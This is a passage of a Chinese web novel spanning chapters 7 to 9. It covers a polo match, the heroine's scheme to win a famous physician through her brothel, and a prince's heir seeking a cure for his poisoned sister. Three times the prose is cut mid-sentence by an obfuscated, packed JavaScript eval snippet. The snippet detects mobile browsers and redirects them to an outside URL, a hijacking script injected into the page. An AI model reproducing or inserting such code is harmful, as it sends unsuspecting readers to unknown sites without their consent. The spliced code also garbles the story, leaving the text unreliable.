身后宗古飞闪而过,截过阮栀没接到的马球,几个潇洒转身,击球入门,又得一分。 四比零,邦国队领先。 萨雅身边两位女球员学着萨雅的样子,连续将球喂给阮栀,身后伴着萨雅的笑声,“你接啊,快接呀,喂到嘴边也接不住吗?” 阮栀却丝毫不为所动,双眼紧盯马球,对方丢给她的每一个球她都认真去接,几次失手也未放弃,反而更加用心观察他人击球的动作。 自家女队员行事太过嚣张,宗古也看不过去,出声制止,“比赛要紧,休得胡闹!” 萨雅示意女队员散开,看似收敛,实则又换了招数,见阮栀认真看球,便时不时带球横冲到她马前。 四皇子纵马到阮栀身边,与她并行,他面露关切,“没事吧?” “放心,无事!”阮栀并不将那些小把戏放在心上,她打球略显生疏,但骑术一流,每次都能提前预判,轻巧躲过对手们的冲撞。 林胡公主萨雅发现自己折腾一通却影响不到阮栀分毫,心中烦躁,再次接到球直接用力朝阮栀击去,这一次不再是玩笑喂球,而是用了十足力道。 眼看那球飞速旋着转朝阮栀面门飞去,场上众人一时都愣住了,因着对手围堵,阮栀退到了中场边缘,此时四周无人,邦国队员想要救她已是力所不及,显然他们的速度没有球快。 就当众人以为阮栀要被球伤到之时,就见她神情专注挥起球杖,“铛”的一声脆响,就见马球在球杖撞击下停顿一秒,下一刻调转方向,朝不远处迎过来的四皇子飞去。 “得嘞!”四皇子轻喝一声,直接击球入门。 一比四! 有了这一进球,丰国队气势大振,勇夺马球控制权。 阮栀找到接球的感觉,越来越娴熟,再没失手过,邦国女队员也不敢再给她“喂球”了。 眼看着比分被逐渐追上,林胡公主萨雅终于将心思放回比赛,试图配合队友进球拉开比分,然而她惊讶地发现,丰国队这一支临时组建的球队配合异常默契,方才连球都不会接的阮家小姐此时竟开始尝试从邦国球员手下截球了。 阮栀身形纤长,在马上看似弱不禁风,却极具韧性,每次截球精准而果断,她身下马儿似乎也带了灵性,与主人配合无间,看她比赛,有种妙不可言的轻盈美感。 不到半盏茶功夫,丰国队就以六比五赶超邦国队。 邦国队及时喊停,下场调整战术。 宗古针对对手情况,重新做了战术安排,还不忘告诫林胡公主等人,“别忘了我们是来做什么的。” 林胡公主心有不满,但事实摆在眼前她不得不认,冷着脸闭口不言。 阮栀因为顺利掌握接球技巧处于兴奋之中,听四皇子调整战术时手不离球杖,还在小幅度比划着,不断加深接发球的手感,故而身后站了人也丝毫未察觉。 “首战莫贪,守位无伤便是幸矣。” 身后清润嗓音响起,阮栀一惊,对一切都漠然无感的端王世子居然下到了场边,待球员们发现纷纷朝他行礼问安时,他只略一点头,随后拂袖离去。 阮栀错愕不已,难不成他是专程来与她说这么一句话的? 她的理解是‘头一次上场进球就别想了那是贪心,躲一边护好自己就已经是烧高香了’。 心头一阵火起,瞧不起谁呢?! 暂停时间很快结束,两方球员再次上场。 锣声一响,林胡公主一改之前的挑衅玩笑姿态,率先抢到球便策马狂奔。 丰国队在四皇子的指挥下有序拦截,不过这次林胡公主拼得很凶,几个漂亮的飞跃,躲过重重阻碍,用一个刁钻的角度击球入门。 如此高标准的一击,让身为对手的丰国人都不得不为之喝彩,林胡公主虽数次挑衅嘲笑,但马球技术确实高超。 萨雅高举鎏金球杖,睥睨众人,显然对自己的表现十分满意,环视一圈后朝看台某个角落望去。 临上场前她的婢女悄悄告诉她裴郎君来了,十日前她初来丰国,在淑妃宫里瞧上一俊美男子,几番打听下得知那位郎君是淑妃亲侄,如今的大理寺丞,还是丰国最年轻的状元郎。 见过裴郎君的风仪气度和出众才华,她眼里再容不下别人。 心心念念的裴郎君来观赛了,她必定要在心上人面前好好表现一番,自然无暇管那位阮家小姐了。 只见球场东侧看台,裴郎君负手而立,依旧是令人心跳加速的玉树临风姿态,萨雅面露潮红,她并无汉家女子的羞怯,反倒是直勾勾盯着对方。 然而裴郎君的目光并不在自己身上,萨雅皱眉,循着他的视线望去,顿时怒火中烧,他正一错不错地望着那个叫阮栀的女子,球杖忽地放下,握柄处被掐出几道指甲痕迹。 球场瞬息万变,全身心投入比赛的阮栀并未注意到这些,而是在脑海中一遍遍过着方才萨雅击球入门的动作。 经过调整再次上场的双方队员都是气势如虹,马球在马蹄间穿梭跳跃,迅如闪电,比分一分一分交替上升,咬得很死。 所有队员的心思都在球上,除了林胡公主萨雅。 她不知又抽了什么风,打进两球后又开始针对阮栀,但凡到阮栀那里的球,她都要去截,并且言语攻击不断。 “都上场了,一个球也打不进?” “丰国无人了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875718|176310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不会打球的也能参赛?” …… 不仅是丰国球员,连邦国队几人也听不下去了,宗古王子多次出言劝阻,可萨雅依旧任性妄为。 阮栀好不容易躲开萨雅接到温如峤传来的一球,纵马转身闪过几个对手,突然挥杖击球,那角度与方才萨雅的绝妙一击高度相似。 场上众人皆是一惊,纷纷聚焦在那颗飞速旋转的马球上,“咚”的一声,马球击中球门板,球被弹了出去。 邦国球员们松了一口气,萨雅惊诧的表情顿时化为嘲讽,她觉得阮栀此举一定是受了影响急于表现,于是更加卖力挑衅,“听说你们汉人有个成语叫‘东施效颦’,本公主这下终于懂了,真是笑煞人也!” 球被弹出时阮栀有一丝气恼,不过很快接受,继续纵马寻找击球机会。 很快她就瞧见徐咸安从邦国女球员手下截到一球,他提起速度纵马朝球门狂奔,然而邦国球员毫不示弱,从三个方向围向他,阮栀此刻的位置离球门很近,于是挥杖示意他传球给她。 徐咸安很快被包抄,此时想要自己进球十分困难,他瞥一眼阮栀,犹豫一瞬还是将球朝她击去。 阮栀忽略他满脸的不情愿,接到球后就朝球门击去,还是方才一样的角度,与萨雅一般无二的动作。 可惜,球依旧未进。 这次球没有撞到球门板,而是撞到了门洞边框,离进球只差一线距离。 徐咸安被气笑,面露鄙夷,“好好击球入门不做,何必学那戎子的古怪招式!” 宝锦楼二楼包厢内,大长公主瞧得有趣,朝阮韫青道:“栀丫头有胆色,虽是初次却毫不怯场,这一招一式模仿得有模有样。” “她自小有股犟劲儿,瞧上新奇事物就要一究到底,不学会誓不罢休,您瞧瞧这就跟马球杠上了!”阮韫青亦不掩饰对这位侄女疼爱。 场上比分来到十比十,只差一球了,恐怕在场无人会想到比赛悬念会持续到最后一球。 大长公主转头看向端王世子,“一球定胜负,弗恃倒是一点也不急。” 祝弗恃讲目光从球场收回,笑答:“母妃自小要我谨记老道士真言,为而弗恃,结果不必强求。” “又来小动作了,希望不要伤着为好。”阮韫青的提醒将两人的视线拉回赛场。 最后一球,双方自然杀红了眼,尤其邦国队延续传承,小动作不断,不过在丰国地盘上还是有所收敛,没有太过明目张胆。 马球本是激烈对抗,马速快一时收不住、球打偏了等等实属正常,也不好说他犯规搞小动作。 阮栀被邦国队员纵马冲撞了几次,不堪其扰,慢慢退到了赛前四皇子安排的位置——在球门右侧两百步左右的地方。 她惊讶地发现这一处恰好不在邦国队阵型的攻击范围,而若有人针对她挑衅冲撞,两边都有丰国队员能够帮她挡开一二。 她不由想起适才端王世子的话“首战莫贪,守位无伤便是幸矣。” 四皇子与这位端王世子好似默契十足,她猜想眼下的排兵布阵必有世子的授意。 莫非是自己会错意,世子早看出这位置于她最是安全,故而让她乖乖待着? 不过她转念一想还是不服气,想进球就是贪心了? “当心!” 沈洛攸和四皇子几人的大声提醒让阮栀瞬间回神,就见马球飞速朝自己而来,原是林胡公主带球朝她的位置冲过来,在阮栀附近的四皇子和沈洛攸以为又是一次恶意冲撞,连忙去拦,可没想到林胡公主在他们拦截时挥杖一击,人马可拦,球却不行。 马球迅如流星,因为距离太近阮栀几无反应时间。 只见她正对球的方向不闪不避,在众人以为球要正中她胸口时她忽的一记下腰,整个后背紧贴马背,同时球杖向上挥出。 依旧是相似的角度。 “砰!” 清脆而响亮的击球之声,在马球场上激起回音阵阵。 马球轻盈跃入球门。 随后“扑通”一声,落地沉闷而短促。 良久,只听“锵”的一声,唱声响起,“丰国胜!” 8. 第 8 章 丰国胜了! 原本比赛胜负没有意外,然而另加两局,战到最后一分才分出胜负更是无人能够预料。 当然,最让人惊叹的是最后一球,阮栀的最后一击无懈可击,虽刻意模仿了林胡公主萨雅的绝招,但显而易见更为大气绝妙。 丰国人场上场下同欢庆,秦时雨、沈洛攸和温如峤都聚到阮栀那里挥杖庆祝。 四皇子丝毫不掩饰满眼的赞赏,“最后一击真是解气,太漂亮了!” 唯独徐咸安在一旁嘀咕,不过这嘀咕声大家又恰好都能听见,“一球而已,搞得好似都是她的功劳……” 阮栀自然不在意,真诚朝众人致谢:“今日承蒙大家不弃,不嫌我拖累,还包容我一再尝试,若无你们的支持,断不会有这最后一击!” 众队员说笑着到达场边,下了马,四皇子爽朗笑道:“阮姑娘谦虚了,听闻林胡公主的绝招可是练了数年才成的,你只试了两次,第三次便远超于她,当真是天赋异禀!” “还是多亏殿下排兵布阵精妙,帮我挡去不少冲撞。” 四皇子闻言不由脸红,他挠挠头,侧身与她低语,“这排兵布阵是弗恃堂兄的主意,不过他不愿别人知晓,还望姑娘保密。” 宝锦楼,大长公主心情甚好,“今日比赛实乃精彩绝伦,本宫要亲自嘉赏!” 端王世子眉眼依旧冷倦,只在阮栀抬头朝他挑衅看过来时目光定了一瞬,颇有些意味深长,他唇角微微牵扯,很快恢复淡漠,朝大长公主请辞,“阿宁独自在家,弗恃先行回府了。” 观赛台上人们陆续离开,唯有裴言澈木然站着,周边嘈杂,他却能清晰听到自己几欲喷薄而出的心跳声。 他今日有要案要办,回衙门歇脚时听手下们谈论今日马球加赛一事,他记得前世马球赛早早便结束了,这加赛变故又是如何产生?于是他特意绕道马场看一眼。 看到阮氏上场他再次震惊,即便重活一世他都不敢想象能瞧见这幅场景。 这还是他认识的阮氏吗? 头脑好似被什么东西往两个方向极限拉扯,他头痛欲裂。 一边脑海里疯狂闪现着她方才赛场上的飒爽英姿,玉鞍初跨柳腰柔,与他前些日子见过之后便念念不忘的风姿重合。 而另一边的脑海里却充斥着愤怒与羞耻,他之妻,怎能在众人面前如此行事? 他厌恶极了其他男子看她的眼神,更害怕若是被母亲和淑妃知晓今日之事,他又该如何娶她进门? 同一时刻,不远处邦国队人群里,林胡公主萨雅盯着裴言澈的双眼里满是不甘与怨愤。 …… 距离马球赛已过了十多日,人们依旧对此津津乐道。 而阮栀无暇关注,因为神医快要进京了。 在大嫂的倾力支持下,她顺利接手潇湘苑和玉宇楼。 这两家青楼平日里都由大嫂的心腹秦娘管理,各具特色。 玉宇楼清雅,姑娘们饱读诗书,吟诗作对毫不逊色,是文人墨客、风流才子们最爱聚集之地;潇湘苑以歌舞乐器闻名京城,古琴、琵琶、舞蹈……姑娘们各个身怀绝技,丝毫不输教坊司的水准。 秦娘能力出众又忠心耿耿,阮栀几次接触下来已是十分熟稔。 今日一早阮栀便带着丫鬟玉川出了府。 马车在州桥西街口停下,主仆二人走进一家热闹的早茶铺子,她们并未停留,而是很快从铺子侧门离开,转进隔壁的曲院街,京城最上等酒家之一的遇仙楼掌柜已在酒楼门口等候。 “请大小姐安。”管事神态恭敬,带她们穿过整座酒楼,来到一处不起眼的后门。 阮栀来过数次,已是轻车熟路,点头谢过掌柜迈步而出,门外是一条狭小巷子,此时巷尾一扇小门打开,秦娘已恭候多时。 官家女眷经营青楼生意于名声有损,好在大嫂手下产业众多,想掩人耳目并不难,阮栀与秦娘见过礼,随她进入了潇湘苑。 秦娘将近日打听到的消息向阮栀一一禀报: “约莫一月前,京城好些个善琵琶的姑娘都被人赎身亦或是转去了暖香楼,也有人来要过玉莲姑娘,我们推拒几次之后,又有另一波人过来,欲买下潇湘苑,也是奇了,那人被拒之后又打听起了潇湘苑这块地的东家,据说还去官府备了案,想要与咱们竞租。” 暖香楼算是潇湘苑的对家,如今京城里就属这两家青楼最负盛名,神医落脚暖香楼可能性很大。 至于另一波人,阮栀倒觉稀奇,买青楼不成便打起了这块地的主意,这蹊径辟得聪明,只可惜他们不知这块地与潇湘苑是同一个东家。 “这神医当真是抢手!”阮栀不由感叹。 “可不是,京城里琵琶技艺好的就这么几位,全部笼络下来神医就没跑了。” “姑娘们的技艺可分过高下?”阮栀问。 “不曾,教坊司倒是每年举办一次技艺比拼,但他们瞧不上青楼,从不邀请咱们。不过为了提升玉莲的技艺,奴婢时常与她一同乔装去各处场子听曲,京城出名的那几位姑娘,其实水平都差不多。” “那神医可有偏好?” “奴婢去信找各地神医光顾过的青楼姐妹问过了,无非是姑娘琴技好,身段好,手指修长,这些是门槛,相较之下京城姑娘们的技艺还要更胜一筹,再有就是神医喜欢能给他新鲜感的。” 阮栀凝神思索,玉莲的琵琶技艺在手底下两家青楼里是最拿得出手的,在水平相近的人里绝对不差,至于新鲜感……只能各凭本事了,既如此,玉莲一人足矣。 “好,那从今日起,让玉莲姐姐称病谢客。” 秦娘面露疑惑,不知阮栀是何用意。 阮栀朝她粲然一笑,“秦娘放心,我自有妙计!” “好,那便听姑娘的。” 阮栀边翻看半月账册边问,“清走的那波姑娘可都安置妥了?” 潇湘苑这些年走了下坡路,生意每况愈下,大嫂信任全权交予她,她必定要用心经营好。 再者,即将到来的皇权更替风诡云谲,若想为阮家争得生机,借助青楼生意结交权贵、掌握情报是最好渠道,故而这些时日她做了些改变。 要想吸引更多权贵,必然要提升档次,阮栀希望有更多有一技之长的解语花,而非单单只是以身体、色相侍人的风尘女子。 “都安置妥了,赎身的赎身,嫁人的嫁人,剩下的也都按各自意愿有了去处,银钱按您吩咐都是给了双倍的。” “那便好,女子不易,还是要遣人照应着。” 这时有丫鬟匆匆进来,在秦娘耳边低语几声,秦娘迟疑着朝阮栀看去。 “发生了何事?”阮栀问。 秦娘挥退丫鬟方道:“奴婢之前提过的想要买下潇湘苑的人又来了,不过今日来的是主子,来人并未掩饰身份,咱们的人认出来是端王世子,说要见东家呢!” “端王世子?”阮栀的震惊溢于言表。 这些时日她时不时会回想一些前世里听到的与这位世子相关之事,因着外出频繁,她也时常会听到人们对世子的议论。 在丰国人印象里,整个端王府都带着传奇色彩。 先说端王,当今圣上丰英帝是庶长子上位,手染兄弟鲜血无数,而端王是唯一一个存活下来的亲王,且还是先皇嫡子,他的存在就很耐人寻味了。 再说端王妃奚容羽,她出身前朝豪族奚容家,不仅手握巨资,生财能力更是鲜有人可及,据说先帝奋战多年平定中原,大部分财力支持都源自于端王妃。 至于端王世子,他一出生就带着玄幻色彩。 传说端王妃生他时难产,有一道士寻来,在王府大门外打坐守候,用一日一夜的功夫画了一张符,符箓完成,王妃顺利生产。 那一日一夜大雨滂沱,可道士却未沾湿一片衣衫。 后来道士被请进王府,他说世子与道家有缘,为他取字“弗恃”,“为而弗恃,功成而弗居也”,要他往后不必过分苛求自己,顺应自然。 他幼时记忆力惊人,十二岁时把国子监所有藏书都背了一遍,此后再不碰书,他的骑术、剑术亦是当世无双,然他皆是短暂沉迷,精通之后便扔到一边。 他狂热追求一切新鲜事物,但又很快厌倦,直至无所容心,终日在酒色之中麻痹自己。 这可能就是所谓的“慧极必伤”,不过,不论是传闻中的还是她亲眼见到的世子,都让人捉摸不透,似非一世之人。 阮栀征神间,人已至门外。 秦娘踌躇,“小姐,不若奴婢去拖延片刻,好让您从侧门离开?” “不必了,端王世子亲自前来,即便不卖也要给足面子,把屏风架起来,我会上一会。”阮栀拉上面纱,在屏风后面的圈椅里坐下。 男子脚步声传来,门一开一合间,带进淡淡香气,乌木沉香,是与其身份一般矜贵的味道。 会客厅不大,缔素屏风看似简单,实则暗藏机关,立柱内置琉璃镜,外面之人看不清内里,而在内者却能清晰看清外间一切。 对方目光明显在自己身上一顿,旋即很快移开,阮栀有一种做贼心虚的感觉,转念一想他应看不清她才对。 “未料潇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875719|176310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湘苑之主竟是位妙龄女子。” 熟悉的声线,不似马球赛那日的冷漠,阮栀从镜中窥视,就见他一身空青色长衫,神清骨秀。 她见多了裴言澈服帖板正的衣袍,不禁对世子的衣料产生好奇,衣袂垂垂,宛若流泉,原来不用浆洗熨烫也可如这般没有丝毫褶皱的。 阮栀吩咐下人上茶,浅笑见礼,“见过世子。” 她刻意压着嗓子,与自己的嗓音略有不同。 祝玄曦唇角勾起,点头算是回应,姿态随意地在屏风对面坐下,“不知苑主如何称呼?” 称呼么……阮栀并未想好以何种身份面对他,索性起了玩笑心思,笑道“妾父姓虫。” “虫?” “正是,虫豸的虫。”阮栀点头,答得一本正经。 阮栀生于惊蛰,所谓“春雷惊百虫”,豸与栀同音,豸即是虫,母亲便给她取乳名豸奴儿。 “虫姑娘,此姓倒是特别。” “不知殿下光临鄙苑是为何事?” 此时外头响起丝竹之声,到了姑娘们早起做功课的时辰了。 祝玄曦对此等环境很是习惯,他手持折扇,扇柄跟着乐曲的节拍轻轻敲击掌心,他声音清冽,语调透着散漫,“听闻玉莲姑娘琴技了得,很想一观,怎奈下人无能,请不到姑娘,孤只好亲自前来。” 墨隐调查良久才确定潇湘苑的东家早就买下了这块地,如此,竞租已是无用,时间紧迫,他只好亲自出马,要了玉莲。 阮栀心念一动,前些日子要买潇湘苑,如今又亲自来要玉莲,这就有趣了。 玉莲是她拿捏神医的杀手锏,别说世子,就算是天王老子来了她也不会让。 “这可如何是好,玉莲姐姐受了风寒,无法见客呢……”阮栀秀眉蹙起,好似真的为之遗憾忧虑。 “竟不知玉莲姑娘病了,”祝玄曦面露诧异,不过也只是一瞬,随即朝门外吩咐,“墨隐,去买些补药给玉莲姑娘送去。” “妾替玉莲姑娘谢过世子。”阮栀笑声谄媚。 祝玄曦摆手,目光在她身上定住,再次开口,“孤常年在外行走,深知当下女子谋生不易,苑主小小年纪便操持这偌大的潇湘苑,实乃女中翘楚。” “殿下过誉。”神仙一般的世子竟用上了奉承之术,阮栀十分不适应,但头脑还是清醒的,把你架高必有后话。 “听闻潇湘苑这两年经营亏损,不知可有意转让?” 果然来了!阮栀佯装惊讶,“哪里来的传言,我这苑主竟不知晓?” “哦?孤可听说潇湘苑入不敷出,这些日子遣散了不少姑娘。” “还是世子消息灵通,确实有些困难,不过尚能支撑。只是殿下芝兰玉树,怎会对烟花生意感兴趣?” 祝玄曦眉眼微挑,折扇“唰”地一声打开,“孤手下亦有青楼营生,价银可议,必能让姑娘余生无忧。” 阮栀闻言更惊讶了,不过她很快以帕掩饰,“祖上薄产,虽是下九流营生,好歹能吃饱穿暖,再苦再难,也不敢在妾手里断送了。” 见她不松口,祝玄曦给出另一个提议,语气柔和不少,“若姑娘不愿变卖,孤也可遣人帮你经营,与你四六分账,如此姑娘无需劳心操持,坐收红利即可。” 玉莲要不成,又转而要买潇湘苑,这世子莫非也是意在神医? “这……”阮栀嗫嚅,面露难色,一副不敢得罪权贵的模样。 “孤诚意前来,姑娘若觉分成不够还可商榷。” 阮栀慌忙起身,声音已带了哭腔,“妾不才,努力经营从不敢懈怠,唯恐家业在妾手里败了去,还望世子您高抬贵手……” 言下之意已是十分明确。 阮栀说完还是忐忑的,对方贵为世子,若是强要她也无法,但心中隐隐觉得他不会强人所难。 良久,就听一声轻笑,折扇收回,他语带自嘲,“虫姑娘可是堂堂潇湘苑的主人,想来不至于惧怕孤这样的‘权贵’,当然,孤也不至于强买强卖。” 他拿起桌上茶盏,轻啜一口,眸中冷倦之意浮现,室内气氛为之一滞,在阮栀以为他要发怒时,他却轻笑起身,折扇轻点,“茶不错,告辞。” 门外男子的脚步声渐远,秦娘探身进来,面露忧色,“姑娘没事吧?” 阮栀摇头,瘫坐回圈椅里,方才一番对话耗尽心神,此刻依旧思绪纷乱。 端王世子也需要神医吗?若她猜想得没错,他想医治的又是何人? 前世丧礼上孤傲卓绝,马球赛冷倦疲惫,今日又是目的明确、软硬兼施,到底哪一面才是他? 9. 第 9 章 随着神医萧无尘踏入京城大门,一场青楼之间的无声之战就开始了。 他的一举一动都在有心人的监视之下,不过萧无尘似乎早就习以为常,丝毫不放在心上。 自第一日起,萧无尘照例在京城闲晃,四处听曲,也会在酒饭间隙打听京城里琵琶技艺好的姑娘,热心力荐之人不少,但他有自己的章程,不会因为推荐之人多而特意去光顾。 起初两日,他都是听完便回客栈,未表现出任何偏好。 第三日,他去了暖香楼,点了最善琵琶的湘云姑娘,他听了一整日,入夜,并未留宿,照例回到客栈。 又光顾几家青楼之后,萧无尘再次踏入暖香楼,与湘云姑娘长谈一夜,出来时神色意犹未尽。 都说这暖香楼头牌湘云姑娘容色出众、热情风趣,不仅琴技了得,还会亲手制作琵琶,随便一根弦在手,轻拢慢拈就是一首绝佳乐曲,能笼络住神医的人也是正常。 在人们以为神医就要留宿暖香阁时,事情又有了变数。 那日清晨萧无尘的确是要回客栈收拾细软准备搬去暖香楼的,然而回客栈路上,街角某处院中传来一串琵琶声。 寥寥数音,简而不凡,回味无穷,弹奏之人的惆怅叹息,都藏在了婉转的曲调之中。 萧无尘回到客栈便坐立不安,心痒难耐,他纠结片刻,还是散开了原先打好的包袱。 他必须要知道这串琵琶声出自谁手! 几方打听下来,他才知晓那院子是潇湘苑头牌玉莲姑娘的养病之所,惊喜万分的他立刻亲自上门求见玉莲姑娘,却被对方以养病为由婉拒。 萧无尘在琵琶上可谓痴人一个,索性日日守于院墙之外,哪怕能听到玉莲姑娘闲时轻弹几个音,他也甘之如饴。 七日后,传来玉莲病愈已回潇湘苑的消息,此时的萧无尘哪里还记得曾经相谈甚欢的湘云姑娘,急急收拾包袱追随玉莲姑娘往潇湘苑去了。 …… 道家神医萧无尘入住潇湘苑,定下了开诊之日。 那日清晨,端王府二门内驶出一辆马车,厚重车帘垂着,从外面看不清内里分毫。 马车内,宁安郡主祝熹宁掀开车帘一角,好奇地瞧着外间景色,她视物功能逐年退化,此时眼前似蒙了一层薄纱,但她依旧兴奋又新奇。 “阿兄,那一笼笼绿色的是什么吃食?好香!……呀,是路过花市了吧,这时节牡丹上市了?……咦?这里何时开了绸缎铺子,好温柔的颜色……” 祝玄曦一向耐心,无论陪着妹妹去往何地都会耐心讲解眼前看到的一切,而今日他却十分沉默。 祝熹宁自言自语一通,发现兄长异样,放下了帘子。 兄妹两人对面而坐,中间隔了一张茶桌,祝熹宁双手搭在桌沿上,倾身向前,她需要离得很近才能看清兄长的神情。 “阿兄生气了?” 祝玄曦回神,爱怜地轻拂妹妹额发,眼前少女容颜如画,一双眼眸澄澈如秋水,顾盼生辉,谁能想到她已几近失明了呢。 萧无尘没有留住,拿到神药的机会渺茫,看着妹妹对外间一切的渴望,祝玄曦自责万分。 “是阿兄无用。” “怎会?阿兄是这世上最最优秀、对熹宁最最好的人!” 祝熹宁见兄长依旧愁眉不展,试着转移话题。 “听墨隐说了争夺神医的经过,阿宁对那位潇湘苑主好生佩服!听说她只比我大一岁是不是?” 祝玄曦脑中闪过一抹倩影,心中不由气恼。 马球赛那日他只觉她有趣,大长公主要他看顾一二,他顺手丢给小四,想到赛后她挑衅的眼神,哼,活像只张牙舞爪的花狸。 潇湘苑第一眼他便认出是她,纤韧如柳的身段即便隔了屏风他也不会认错,阮大将军的掌上明珠竟经营着京城数一数二的青楼,扮猪食虎与他虚与委蛇玩得炉火纯青,他无意为难女子,只好作罢。 他以为她经营青楼纯粹是无聊找乐子,却没想到她与他一样意在神医,还使计从他手里抢了去。 看着妹妹眼中光芒,他轻哼一声,“有何可钦的?不过是些小女子伎俩而已。” “阿兄可别瞧不起我们小女子,你找了让人一见倾心、完美无缺的湘云姐姐,她找了神秘莫测、进退裕如的玉莲姑娘,怎就是耍伎俩了?” “我谋得正大光明!”祝玄曦见妹妹维护一个陌生人,心中不服气。 “若如兄长所言,她就是阴谋了?可是在阿宁看来,那位姐姐无非更善于洞察人心而已。” 祝玄曦依旧愤愤难平,“她年岁不小,已然深谙世故,巧于周旋,心机过于深沉,除了那副皮囊,哪有少女样子。” 祝熹宁闻言没有立刻接话,她秀眉微微蹙起,面露不忍之色,“她必有不为人知经历,方致如此吧。” “你还同情她?若无她插手,神医已在我掌控之下,你的药……”祝玄曦说到一半顿住,意识到妹妹是在开解自己,可错过了神医她怎会不伤心。 “阿兄,”祝熹宁伸手,纤弱手掌覆上兄长手背,“她必定也有重要之人需要医治,想要所爱之人安康喜乐,与你之心是一样的。” 祝玄曦没再说话,反握住妹妹的手,头转向窗外。 明知一切错在自己,却责怪旁人,他确实比她不如。 马车到潇湘苑门口就有人接应,将他们引至隐蔽些的侧门。 昨日苑主传信,神医挑了五位出价高的病患,今日会一一问诊一番再做决定。 祝玄曦知晓所选病患早已内定,但还是抱了希望,萧无尘虽医术一般,但诊病之能不差,让他把个脉瞧瞧也无妨,再者,他是这世上为数不多能联系到云虚子之人,光凭这一点,他也要陪阿宁走一趟。 马车驶入侧门,祝玄曦率先下车,确认妹妹被包裹严实,丝毫瞧不出身形才让她下来。 有下人将他们引入二楼厢房,一共五间,对应五位病患。 他们一进厢房便有下人端茶倒水,告知他们排在最后一位问诊,随后关门离开。 不多时,外头嘈杂声传来。 只听有人哭喊,“神医啊,求您救救我儿,求您了……” 之后便是“咚咚”的磕头声。 祝玄曦推开一丝门缝朝外看去,只见萧无尘那厮负手而立,眼神冷漠,他对这样的场面已司空见惯,随手轻轻一挥,便有人将哭喊之人拉走。 阿宁说得没错,求到神医这处,谁还不是为了至亲至爱之人。 听闻阮家三公子自小患有心疾,她应是为了他。 祝玄曦合上门,坐下陪妹妹静候。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875720|176310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻钟后,厢房门被敲响。 “请进。” 萧无尘推门而入,他一身道袍,颧骨高耸,面如菱石,一撇山羊胡飘逸蓬松,端的是一副道行高深的模样,若非知晓他底细,还真会被其外表所诓骗。 “小道见过世子殿下。”他见眼前病患带着帏帽,显是不想暴露身份,没有贸然称呼。 “免礼。”祝玄曦神色冷淡,示意他把脉。 萧无尘倒是不卑不亢,在郡主面前坐下,凝神静气,隔着丝帕开始把脉。 祝玄曦紧盯萧无尘神态,不愿错过分毫。 方一触到脉搏萧无尘便皱眉,继而似是不敢确信一般,凝力于指腹,反复推寻,一双眯缝眼里的诧异一闪而逝,他抬头,郡主薄纱掩面,他眼珠微转,似在犹豫什么。 “阿宁。”祝玄曦神色冷峻。 祝熹宁闻言会意,摘下帏帽,“还请神医诊治。” 萧无尘很快将目光投向祝熹宁双眼,祝玄曦心中微动,阿宁双眼与常人无异,只有知晓内情之人才知她视物有碍之事,萧无尘必是瞧出了阿宁病症。 萧无尘不语,又换了祝熹宁的左手把脉。 良久,方收手,他沉吟一番才道:“贵人有中毒之象,侵及五官,此时恐怕已波及双眼,其毒罕见,且时日久远,危矣。” 祝玄曦面上不动声色,负在身后的手已紧握成拳,萧无尘所言全中,阿宁十年前中的毒,那毒药当世罕见,专门侵蚀五官,中毒者先是失明,而后失去嗅觉,再后是听觉、味觉,直至五感全失,生不如死。 当年幸得解毒及时,并未当场毒发,但此毒难以根除,残余毒素随着阿宁年岁渐长依旧在起作用,此时是双眼,而后……他不敢往后想。 这些年他四处行走,为的就是帮阿宁找到解毒之法。 萧无尘见眼前两位贵人皆是神色凝重,便想要溜之大吉,他捋了捋胡须故作淡定,起身道:“诊事已毕,还请容本道仔细斟酌一番,结果稍后自会相告。” 言罢便躬身告辞,转身去开门。 “神医留步,”祝玄曦淡定出声,他知他不会选阿宁,也不与他兜圈子,“孤不求医治,只需几粒延缓毒性之丹药,必当重金酬谢。” 萧无尘无奈转身,堆起假笑,连连摆手,“恕仆医道未精,实是……实是无此丹药啊。” 祝玄曦微一挑眉,还是那条滑不溜秋的老泥鳅。 “不知云虚子道长可能解此毒?” 萧无尘摆着的双手顿住,眼神躲闪,“家师……仆实在不知……不知……” 厢房里空气凝结一般,萧无尘大气不敢出,世子倏然转身不再看他,他轻声告退试探,世子不语,他脚底抹油退了出去。 须臾,包厢外便有人宣布了神医的决定,他选定二号包厢的病患为其医治。 祝玄曦并无意外,等周边包厢之人陆续离开后,他才领着头戴帏帽、紧裹披风的妹妹离开。 经过回廊时他脚步微顿,似有所觉,随即示意外面等候的丫鬟带熹宁先走,他则一个转身折回厢房对面的一条暗廊里。 